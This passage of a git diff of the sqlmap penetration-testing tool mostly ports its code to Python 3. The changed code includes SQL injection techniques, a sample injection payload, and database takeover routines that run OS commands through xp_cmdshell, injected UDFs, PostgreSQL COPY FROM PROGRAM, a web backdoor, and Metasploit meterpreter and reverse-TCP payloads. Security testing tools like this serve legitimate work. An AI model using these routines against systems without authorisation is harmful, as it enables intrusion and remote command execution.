safeCharEncode kb.resumeValues = resumeValue @@ -386,10 +409,16 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - kb.technique = PAYLOAD.TECHNIQUE.UNION + setTechnique(PAYLOAD.TECHNIQUE.UNION) kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion + if expected == EXPECTED.BOOL: + # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') + + if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): + forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression + try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: @@ -418,20 +447,20 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: - kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY + setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: - _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items()))) + _ = "".join(filterNone(key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: - kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) @@ -446,9 +475,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): - kb.technique = PAYLOAD.TECHNIQUE.TIME + setTechnique(PAYLOAD.TECHNIQUE.TIME) else: - kb.technique = PAYLOAD.TECHNIQUE.STACKED + setTechnique(PAYLOAD.TECHNIQUE.STACKED) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) @@ -471,14 +500,39 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.safeCharEncode = False - if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: - warnMsg = "in case of continuous data retrieval problems you are advised to try " - warnMsg += "a switch '--no-cast' " - warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" - singleTimeWarnMessage(warnMsg) + if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted: + if conf.abortOnEmpty: + errMsg = "aborting due to empty data retrieval" + logger.critical(errMsg) + raise SystemExit + else: + warnMsg = "in case of continuous data retrieval problems you are advised to try " + warnMsg += "a switch '--no-cast' " + warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else "" + singleTimeWarnMessage(warnMsg) + + # Dirty patch (MSSQL --binary-fields with 0x31003200...) + if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields: + def _(value): + if isinstance(value, six.text_type): + if value.startswith(u"0x"): + value = value[2:] + if value and len(value) % 4 == 0: + candidate = "" + for i in xrange(len(value)): + if i % 4 < 2: + candidate += value[i] + elif value[i] != '0': + candidate = None + break + if candidate: + value = candidate + return value + + value = applyFunctionRecursively(value, _) # Dirty patch (safe-encoded unicode characters) - if isinstance(value, unicode) and "\\x" in value: + if isinstance(value, six.text_type) and "\\x" in value: try: candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: @@ -490,12 +544,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: - kb.technique = PAYLOAD.TECHNIQUE.STACKED + setTechnique(PAYLOAD.TECHNIQUE.STACKED) else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): _ = getTechniqueData(technique) if _ and "stacked" in _["title"].lower(): - kb.technique = technique + setTechnique(technique) break expression = cleanQuery(expression) diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index e07f4765fa9..3250cfe5c60 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import urllib2 +from lib.core.convert import getText +from thirdparty.six.moves import urllib as _urllib -class MethodRequest(urllib2.Request): +class MethodRequest(_urllib.request.Request): """ - Used to create HEAD/PUT/DELETE/... requests with urllib2 + Used to create HEAD/PUT/DELETE/... requests with urllib """ def set_method(self, method): - self.method = method.upper() + self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!) def get_method(self): - return getattr(self, 'method', urllib2.Request.get_method(self)) + return getattr(self, 'method', _urllib.request.Request.get_method(self)) diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 8e66409c8a2..5b1c3495e4b 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,30 +1,51 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import httplib -import urllib2 +ssl = None +try: + import ssl as _ssl + ssl = _ssl +except ImportError: + pass from lib.core.data import conf from lib.core.common import getSafeExString from lib.core.exception import SqlmapConnectionException +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib -class HTTPSPKIAuthHandler(urllib2.HTTPSHandler): + +class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): def __init__(self, auth_file): - urllib2.HTTPSHandler.__init__(self) + _urllib.request.HTTPSHandler.__init__(self) self.auth_file = auth_file def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): + if timeout is None: + timeout = conf.timeout + + if not hasattr(_http_client, "HTTPSConnection"): + raise SqlmapConnectionException("HTTPS support is not available in this Python build") + try: - # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain - return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) - except IOError as ex: + if ssl and hasattr(ssl, "SSLContext") and hasattr(ssl, "create_default_context"): + ctx = ssl.create_default_context() + ctx.load_cert_chain(certfile=self.auth_file, keyfile=self.auth_file) + try: + return _http_client.HTTPSConnection(host, timeout=timeout, context=ctx) + except TypeError: + pass + + return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=timeout) + + except (IOError, OSError) as ex: errMsg = "error occurred while using key " errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 0f62c4da619..1d19cfdd154 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,50 +1,29 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import urllib -import urllib2 - from lib.core.exception import SqlmapConnectionException +from thirdparty.six.moves import urllib as _urllib -class HTTPRangeHandler(urllib2.BaseHandler): +class HTTPRangeHandler(_urllib.request.BaseHandler): """ Handler that enables HTTP Range headers. Reference: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file - - This was extremely simple. The Range header is a HTTP feature to - begin with so all this class does is tell urllib2 that the - "206 Partial Content" response from the HTTP server is what we - expected. - - Example: - import urllib2 - import byterange - - range_handler = range.HTTPRangeHandler() - opener = urllib2.build_opener(range_handler) - - # install it - urllib2.install_opener(opener) - - # create Request and set Range header - req = urllib2.Request('https://www.python.org/') - req.header['Range'] = 'bytes=30-50' - f = urllib2.urlopen(req) """ def http_error_206(self, req, fp, code, msg, hdrs): # 206 Partial Content Response - r = urllib.addinfourl(fp, hdrs, req.get_full_url()) + r = _urllib.response.addinfourl(fp, hdrs, req.get_full_url()) r.code = code r.msg = msg return r def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error - errMsg = "Invalid range" + errMsg = "there was a problem while connecting " + errMsg += "target ('416 - Range Not Satisfiable')" raise SqlmapConnectionException(errMsg) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 60c3af1ce7b..a51b6dd809b 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,60 +1,62 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import io +import re import time import types -import urllib2 -import urlparse -from StringIO import StringIO - -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger from lib.core.common import getHostHeader from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import logHTTPTraffic from lib.core.common import readInput +from lib.core.convert import getBytes +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.settings import DEFAULT_COOKIE_DELIMITER -from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE +from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS from lib.core.settings import MAX_TOTAL_REDIRECTIONS from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage from lib.request.basic import parseResponse +from thirdparty import six +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib -class SmartRedirectHandler(urllib2.HTTPRedirectHandler): +class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): def _get_header_redirect(self, headers): retVal = None if headers: - if "location" in headers: - retVal = headers.getheaders("location")[0] - elif "uri" in headers: - retVal = headers.getheaders("uri")[0] + if HTTP_HEADER.LOCATION in headers: + retVal = headers[HTTP_HEADER.LOCATION] + elif HTTP_HEADER.URI in headers: + retVal = headers[HTTP_HEADER.URI] return retVal def _ask_redirect_choice(self, redcode, redurl, method): with kb.locks.redirect: - if kb.redirectChoice is None: - msg = "sqlmap got a %d redirect to " % redcode + if kb.choices.redirect is None: + msg = "got a %d redirect to " % redcode msg += "'%s'. Do you want to follow? [Y/n] " % redurl - kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO + kb.choices.redirect = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO - if kb.redirectChoice == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: + if kb.choices.redirect == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: msg = "redirect is a result of a " msg += "POST request. Do you want to " msg += "resend original POST data to a new " @@ -66,27 +68,27 @@ def _ask_redirect_choice(self, redcode, redurl, method): self.redirect_request = self._redirect_request def _redirect_request(self, req, fp, code, msg, headers, newurl): - newurl = newurl.replace(' ', '%20') - return urllib2.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) + retVal = _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host() if hasattr(req, "get_origin_req_host") else req.origin_req_host) + + if hasattr(req, "redirect_dict"): + retVal.redirect_dict = req.redirect_dict + + return retVal def http_error_302(self, req, fp, code, msg, headers): start = time.time() content = None + forceRedirect = False redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None try: - content = fp.read(MAX_CONNECTION_TOTAL_SIZE) - except Exception as ex: - dbgMsg = "there was a problem while retrieving " - dbgMsg += "redirect response content ('%s')" % getSafeExString(ex) - logger.debug(dbgMsg) - finally: - if content: - try: # try to write it back to the read buffer so we could reuse it in further steps - fp.fp._rbuf.truncate(0) - fp.fp._rbuf.write(content) - except: - pass + content = fp.fp.read(MAX_CONNECTION_TOTAL_SIZE) + fp.fp = io.BytesIO(content) + except _http_client.IncompleteRead as ex: + content = ex.partial + fp.fp = io.BytesIO(content) + except: + content = b"" content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) @@ -97,29 +99,35 @@ def http_error_302(self, req, fp, code, msg, headers): redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) if headers: - logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items()) + logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in headers.items()) else: logHeaders = "" redirectMsg += logHeaders if content: - redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE]) + redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE]) logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time()) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) if redurl: try: - if not urlparse.urlsplit(redurl).netloc: - redurl = urlparse.urljoin(req.get_full_url(), redurl) + if not _urllib.parse.urlsplit(redurl).netloc: + redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) - self._ask_redirect_choice(code, redurl, req.get_method()) + if conf.scope: + if not re.search(conf.scope, redurl, re.I): + redurl = None + else: + forceRedirect = True + else: + self._ask_redirect_choice(code, redurl, req.get_method()) except ValueError: redurl = None result = fp - if redurl and kb.redirectChoice == REDIRECTION.YES: + if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect): parseResponse(content, headers) req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) @@ -128,7 +136,7 @@ def http_error_302(self, req, fp, code, msg, headers): delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER last = None - for part in req.headers.get(HTTP_HEADER.COOKIE, "").split(delimiter) + headers.getheaders(HTTP_HEADER.SET_COOKIE): + for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter) + ([headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []): if '=' in part: part = part.strip() key, value = part.split('=', 1) @@ -140,21 +148,35 @@ def http_error_302(self, req, fp, code, msg, headers): req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies) try: - result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) - except urllib2.HTTPError as ex: + result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) + except _urllib.error.HTTPError as ex: result = ex + # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046 + try: + hasattr(result, "read") + except KeyError: + class _(object): + pass + result = _() + # Dirty hack for http://bugs.python.org/issue15701 try: result.info() except AttributeError: def _(self): - return getattr(self, "hdrs") or {} + return getattr(self, "hdrs", {}) + result.info = types.MethodType(_, result) if not hasattr(result, "read"): def _(self, length=None): - return ex.msg + try: + retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3) + except: + retVal = "" + return getBytes(retVal) + result.read = types.MethodType(_, result) if not getattr(result, "url", None): @@ -165,17 +187,17 @@ def _(self, length=None): except: redurl = None result = fp - fp.read = StringIO("").read + fp.read = io.BytesIO(b"").read else: result = fp threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) result.redcode = code - result.redurl = redurl + result.redurl = getUnicode(redurl) if six.PY3 else redurl return result - http_error_301 = http_error_303 = http_error_307 = http_error_302 + http_error_301 = http_error_303 = http_error_307 = http_error_308 = http_error_302 def _infinite_loop_check(self, req): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): diff --git a/lib/request/templates.py b/lib/request/templates.py index 6f8f155e02b..42ebe074e20 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 349df3e24e6..cb3e8a58bcb 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,14 +9,14 @@ import sys -from extra.safe2bin.safe2bin import safechardecode -from lib.core.common import dataToStdout from lib.core.common import Backend +from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet -from lib.core.common import getUnicode from lib.core.common import isStackingAvailable from lib.core.common import readInput +from lib.core.convert import getUnicode from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS @@ -28,6 +28,8 @@ from lib.takeover.udf import UDF from lib.takeover.web import Web from lib.takeover.xp_cmdshell import XP_cmdshell +from lib.utils.safe2bin import safechardecode +from thirdparty.six.moves import input as _input class Abstraction(Web, UDF, XP_cmdshell): """ @@ -44,7 +46,10 @@ def __init__(self): XP_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): - if self.webBackdoorUrl and not isStackingAvailable(): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): @@ -60,7 +65,10 @@ def execCmd(self, cmd, silent=False): def evalCmd(self, cmd, first=None, last=None): retVal = None - if self.webBackdoorUrl and not isStackingAvailable(): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + retVal = self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): retVal = self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): @@ -97,20 +105,25 @@ def runCmd(self, cmd): self.execCmd(cmd) def shell(self): - if self.webBackdoorUrl and not isStackingAvailable(): + if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - infoMsg = "going to use injected sys_eval and sys_exec " - infoMsg += "user-defined functions for operating system " + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " + infoMsg += "command execution" + logger.info(infoMsg) + + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + infoMsg = "going to use injected user-defined functions " + infoMsg += "'sys_eval' and 'sys_exec' for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): - infoMsg = "going to use xp_cmdshell extended procedure for " + infoMsg = "going to use extended procedure 'xp_cmdshell' for " infoMsg += "operating system command execution" logger.info(infoMsg) @@ -128,8 +141,10 @@ def shell(self): command = None try: - command = raw_input("os-shell> ") + command = _input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) + except UnicodeDecodeError: + pass except KeyboardInterrupt: print() errMsg = "user aborted" @@ -198,9 +213,11 @@ def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): warnMsg += "were able to extract and crack a DBA " warnMsg += "password by any mean" - logger.warn(warnMsg) + logger.warning(warnMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + success = True + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() if success is not True: diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 4be69f4685d..044394fc04a 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -22,7 +22,7 @@ from lib.core.data import paths from lib.core.exception import SqlmapDataException -class ICMPsh: +class ICMPsh(object): """ This class defines methods to call icmpsh for plugins. """ @@ -72,7 +72,7 @@ def _selectLhost(self): raise SqlmapDataException("local host address is missing") elif address and not valid: warnMsg = "invalid local host address" - logger.warn(warnMsg) + logger.warning(warnMsg) return address diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 01a58ec4dfe..d29dfae9af6 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function +import errno import os import re import select @@ -22,12 +23,15 @@ from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP +from lib.core.common import isDigit from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -45,11 +49,12 @@ from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import send_all from lib.core.subprocessng import recv_some +from thirdparty import six if IS_WIN: import msvcrt -class Metasploit: +class Metasploit(object): """ This class defines methods to call Metasploit for plugins. """ @@ -64,29 +69,11 @@ def _initVars(self): self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname - self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) - self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole")) - self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) - self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) - self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom")) - - if IS_WIN: - _ = conf.msfPath - while _: - if os.path.exists(os.path.join(_, "scripts")): - _ = os.path.join(_, "scripts", "setenv.bat") - break - else: - old = _ - _ = normalizePath(os.path.join(_, "..")) - if _ == old: - break - - self._msfCli = "%s & ruby %s" % (_, self._msfCli) - self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) - self._msfEncode = "ruby %s" % self._msfEncode - self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) - self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) + self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli%s" % (".bat" if IS_WIN else ""))) + self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole%s" % (".bat" if IS_WIN else ""))) + self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode%s" % (".bat" if IS_WIN else ""))) + self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload%s" % (".bat" if IS_WIN else ""))) + self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom%s" % (".bat" if IS_WIN else ""))) self._msfPayloadsList = { "windows": { @@ -168,7 +155,7 @@ def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): choice = readInput(message, default="%d" % default) - if not choice or not choice.isdigit() or int(choice) > maxValue or int(choice) < 1: + if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1: choice = default choice = int(choice) @@ -186,7 +173,7 @@ def _selectEncoder(self, encode=True): # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec - if isinstance(encode, basestring): + if isinstance(encode, six.string_types): return encode elif encode: @@ -209,7 +196,7 @@ def _selectPayload(self): if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " - debugMsg += "user, it is likely that the the VNC " + debugMsg += "user, it is likely that the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) @@ -219,7 +206,7 @@ def _selectPayload(self): warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" - logger.warn(warnMsg) + logger.warning(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True @@ -228,7 +215,7 @@ def _selectPayload(self): warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" - logger.warn(warnMsg) + logger.warning(warnMsg) if choose: message = "what do you want to do?\n" @@ -241,34 +228,31 @@ def _selectPayload(self): if not choice or choice == "2": _payloadStr = "windows/meterpreter" - break elif choice == "3": _payloadStr = "windows/shell" - break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): - logger.warn("beware that the VNC injection might not work") - + logger.warning("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break - elif not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") + elif not isDigit(choice): + logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: - logger.warn("invalid value, it must be 1 or 2") + logger.warning("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" - logger.warn(warnMsg) + logger.warning(warnMsg) self.connectionStr = "reverse_tcp" @@ -522,7 +506,7 @@ def _controlMsfCmd(self, proc, func): if IS_WIN: timeout = 3 - inp = "" + inp = b"" _ = time.time() while True: @@ -554,14 +538,14 @@ def _controlMsfCmd(self, proc, func): pass out = recv_some(proc, t=.1, e=0) - blockingWriteToFD(sys.stdout.fileno(), out) + blockingWriteToFD(sys.stdout.fileno(), getBytes(out)) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") - pwnBofCond &= "Starting the payload handler" in out + pwnBofCond &= any(_ in out for _ in (b"Starting the payload handler", b"Started reverse")) # For --os-smbrelay - smbRelayCond = "Server started" in out + smbRelayCond = b"Server started" in out if pwnBofCond or smbRelayCond: func() @@ -569,7 +553,7 @@ def _controlMsfCmd(self, proc, func): timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: - match = re.search(r"Meterpreter session ([\d]+) opened", out) + match = re.search(b"Meterpreter session ([\\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) @@ -585,14 +569,13 @@ def _controlMsfCmd(self, proc, func): errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) - if conf.liveTest and timeout: - if initialized: - send_all(proc, "exit\n") - time.sleep(2) - else: - proc.kill() - - except (EOFError, IOError, select.error): + except select.error as ex: + # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f + if ex.args[0] == errno.EINTR: + continue + else: + return proc.returncode + except (EOFError, IOError): return proc.returncode except KeyboardInterrupt: pass @@ 